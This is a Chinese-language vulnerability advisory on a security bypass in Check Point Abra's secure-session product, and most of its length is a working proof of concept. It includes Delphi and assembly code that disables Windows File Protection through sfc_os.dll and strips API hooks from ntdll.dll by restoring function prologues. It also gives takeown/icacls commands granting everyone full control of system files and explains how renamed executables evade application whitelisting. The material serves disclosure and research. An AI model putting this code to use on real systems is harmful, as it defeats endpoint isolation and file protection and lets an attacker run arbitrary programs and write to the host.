Check Point Abra安全限制绕过和信息泄露漏洞
Check Point Abra安全限制绕过和信息泄露漏洞
发布日期：2012-07-07
更新日期：2012-07-10
受影响系统：
Check Point Software Abra
描述：
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BUGTRAQ ID: 54360
Check Point Abra可把一台普通PC变为受到全面保护的公司电脑。用户使用Abra，可随时随地、不论离线或在线，通过虚拟专用网（VPN）连接来访问公司电子邮件、文件和应用程序。Abra可在任何一台PC上自动运行，并且利用介质加密来保护U盘内的数据安全。
Check Point Abra在实现上存在安全限制绕过和信息泄露漏洞，成功利用后可允许攻击者获取敏感信息和绕过某些安全限制。
<*来源：Belov V.
Komarov A.
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Belov V. （）提供了如下测试方法：
Komarov A. （）提供了如下测试方法：
<Execute OriginalName="calc.exe" PathName="\calc.exe" AppName="Microsoft Calculator" UIDescription="Microsoft Calculator" id="134"/>
Application Control session examines the application run only on paths, file names, as well as record VersionInfo in the file.
This implies you can import an arbitrary application and run it to bypass the control policy of applications. This is implemented by changing the file name and the field in the resource OriginalFilename VERSIONINFO on any of the white list. Moreover, the user may replace any executable file (eg archiver WinRar) to the host OS without any imports into the secure session and the file will automatically be filled in a secure session (run by the correspondences of extensions, or from the "start" menu).
It is also possible to substitute the system default software from the session "Start" menu (Internet Explorer, Notepad, Calculator, File Protection is off to the host OS, you need administrator rights). The substitution of system files can be implemented after disabling File Protection Windows File Protection with a call to the fifth ordinal of exported file system sfc_os.dll functions (windows xp), sample code:
hInst := LoadLibrary('sfc_os.dll');
proc := GetProcAddress(hInst, ordinal 5);
filename := 'c:\windows\system32\calc.exe';
asm
push -1
push filename
push 0
call proc
end
Either by modifying the rights to the file (Vista and above):
takeown /f <имя_файла>
icacls <имя_файла> /grant %username%:F
icacls <имя_файла> /grant *S-1-1-0:(F)
It is also well executed Bat-files downloaded from the host computer?s folder called "Downloaded from PC", or any other.
The structure of the boot process and secure session:
During the secure session creates a separate process group. Executable files and libraries are the product of two assemblies 32 and 64-bit. But despite this, the 64-bit systems still run a few 32-bit modules in the X folder: \ Go \ PWC \ WoW64.
The second copy process launches the ISWMGR.exe Explorer explorer.exe processes, which is the parent of all, offered in a secure session of external tools and imported programs.
When starting the imported files in a secure session they run a separate application-boot X: \ PWC \ WOW64 \ ISWLDR.dat. He, in turn, loads the library ISWUL.dll, causing the function to set InitHook interceptions. Installed hooks calling functions for working with files, the registry, the clipboard, cryptography, etc:
HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE)
{
HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1
result = SetClipboardData;
addr_SetClipboardData = SetClipboardData;
return result;
}
int __cdecl hooks_Clipboard()
{
int v0; // eax@1
int v1; // eax@3
int v2; // eax@5
int v3; // eax@7
int result; // eax@9
v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData);
if ( v0 )
addr_SetClipboardData = v0;
v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData);
if ( v1 )
addr_GetClipboardData = v1;
v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard);
if ( v2 )
addr_OpenClipboard = v2;
v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard);
if ( v3 )
addr_EmptyClipboard = v3;
result = splice_func(addr_CloseClipboard, callback_CloseClipboard);
if ( result )
addr_CloseClipboard = result;
return result;
}
It is possible to bypass interceptor functions by their release (recovery of the original code functions as it was before the modification) - direct reading from a file system folder (for the use of technology before the reading system files must be copied to a temporary folder and install a structured exception handler), such as ntdll.dll, read the first 10-15 bytes of the function from the file and overwrite the buffer was read the prologue of the corresponding function in the memory (which is the function of the jump-hook, for example ZwLoadDriver).
Technique, for example, can allow making changes to files \ Registry of the secure session directly to the host system.
procedure resolve_APIs_from_dll_images(mapped_dll_base: pointer; dllname: string);
var
var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD;
begin
asm
pushad
mov eax, [mapped_dll_base]
mov ecx, [eax+3Ch]
mov edx, [mapped_dll_base]
lea eax, [edx+ecx+18h]
mov [var_10], eax
mov ecx, [var_10]
mov edx, [mapped_dll_base]
add edx, [ecx+60h]
mov [var_4], edx
mov eax, [var_4]
mov ecx, [mapped_dll_base]
add ecx, [eax+1Ch]
mov [var_8], ecx
mov ecx, [var_4]
mov edx, [mapped_dll_base]
add edx, [ecx+20h]
mov [var_20], edx
mov eax, [var_4]
mov ecx, [mapped_dll_base]
add ecx, [eax+24h]
mov [var_2C], ec
push dllname
call LoadLibrary
mov [var_28], eax
cmp [var_28], 0
jne @loc_41D111
jmp @ending
@loc_41D111:
mov [var_24], 0
jmp @loc_41D135
@loc_41D11A:
mov eax, [var_24]
add eax, 1
mov [var_24], eax
mov ecx, [var_20]
add ecx, 4
mov [var_20], ecx
mov edx, [var_2C]
add edx, 2
mov [var_2C], edx
@loc_41D135:
mov eax, [var_4]
mov ecx, [var_24]
cmp ecx, [eax+18h]
jnb @ending
mov ecx, [var_24]
mov edx, [var_20]
mov eax, [mapped_dll_base]
add eax, [edx]
mov ecx, [var_24]
mov edx, [var_8]
mov eax, [var_28]
add eax, [edx+ecx*4]
mov [var_3C], eax
mov ecx, [var_24]
mov edx, [var_8]
mov eax, [mapped_dll_base]
add eax, [edx+ecx*4]
mov [Src], eax
push 0Ah
mov ecx, [Src]
push ecx
lea edx, [Dst]
push edx
call memcpy
add esp, 0Ch
lea eax, [old]
push eax
push PAGE_EXECUTE_READWRITE
push 0Ah
mov eax, [var_3C]
push eax
call VirtualProtect
push 0Ah
lea ecx, [Dst]
push ecx
mov eax, [var_3C]
push eax
call memcpy
add esp, 0Ch
jmp @loc_41D11A
@ending:
popad
end;
end;
function UnHook(dllname: string): boolean;
var
MapOffset: pointer;
dll, filename: string;
MapHandle, FileHandle: THandle;
Begin
dll := SystemDir + '\' + dllname;
filename := GetSpecialPath(CSIDL_APPDATA) + '\' + dllname;
result := CopyFile(PChar(dll), PChar(filename), false);
if result then
begin
FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
If FileHandle <> INVALID_HANDLE_VALUE then
Try
MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil);
If MapHandle <> 0 then
Try
MapOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);
If MapOffset <> nil then
Try
resolve_APIs_from_dll_images(MapOffset, dllname);
Finally
UnmapViewOfFile(MapOffset);
End;
Finally
CloseHandle(MapHandle);
End;
Finally
CloseHandle(FileHandle);
End;
DeleteFile(filename);
end;
End;
procedure Write2File(filename, s: string);
var
f: textfile;
begin
assignfile(f, filename);
rewrite(f);
writeln(f, s);
closefile(f);
end;
begin
UnHook('ntdll.dll');
..
Write2File('c:\users\Administrator\Desktop\POC.txt', 'Now we writing to host OS');
end;
建议：
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厂商补丁：
Check Point Software
--------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.checkpoint.com
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